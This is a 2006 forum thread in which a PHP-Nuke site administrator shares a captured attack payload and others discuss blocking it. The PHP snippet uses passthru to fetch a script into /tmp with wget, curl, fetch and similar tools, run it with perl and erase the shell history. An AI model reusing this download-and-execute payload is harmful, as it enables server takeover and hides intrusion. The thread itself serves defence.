Common NukeSentinel bannings...

Posted: Mon Oct 16, 2006 10:11 am

I'm seeing a lot of blocks happen (with good reason). The basics are someone tries either author or harvest attack by referring thru another site.

Here's what I get from the other site...anyone have any info?...

<?
passthru('cd /tmp;wget [ Only registered users can see links on this board! Get registered or login! ] al;rm -f al*;history -c');
passthru('cd /tmp;curl [ Only registered users can see links on this board! Get registered or login! ] al;rm -f al*;history -c');
passthru('cd /tmp;lwp-download [ Only registered users can see links on this board! Get registered or login! ] al;rm -f al*;history -c');
passthru('cd /tmp;lynx -source [ Only registered users can see links on this board! Get registered or login! ] >al;perl al;rm -f al*;history -c');
passthru('cd /tmp;fetch [ Only registered users can see links on this board! Get registered or login! ] >al;perl al;rm -f al*;history -c');
passthru('cd /tmp;GET [ Only registered users can see links on this board! Get registered or login! ] >al;perl al;rm -f al*;history -c');
?>

I think you can see the URL in there (yago...)...

Sells PC To Pay For Divorce Joined: Posts: 5661

well just shots in the dark,trying to get shell access ...lol..see what works....
allready banned all 30 spamming and hacking countries?

Posted: Mon Oct 16, 2006 12:26 pm

Yes this is a very active exploiter, using a variety of proxy servers and hosts to attack known vulnerabilities. All of these will be blocked with Sentinel.

I suggest also blocking libwww-perl in .htaccess, there is a recent thread on how to do this.

I keep reporting yagenoysentoplesen.com to their host, but their host keeps changing every 2-3 days.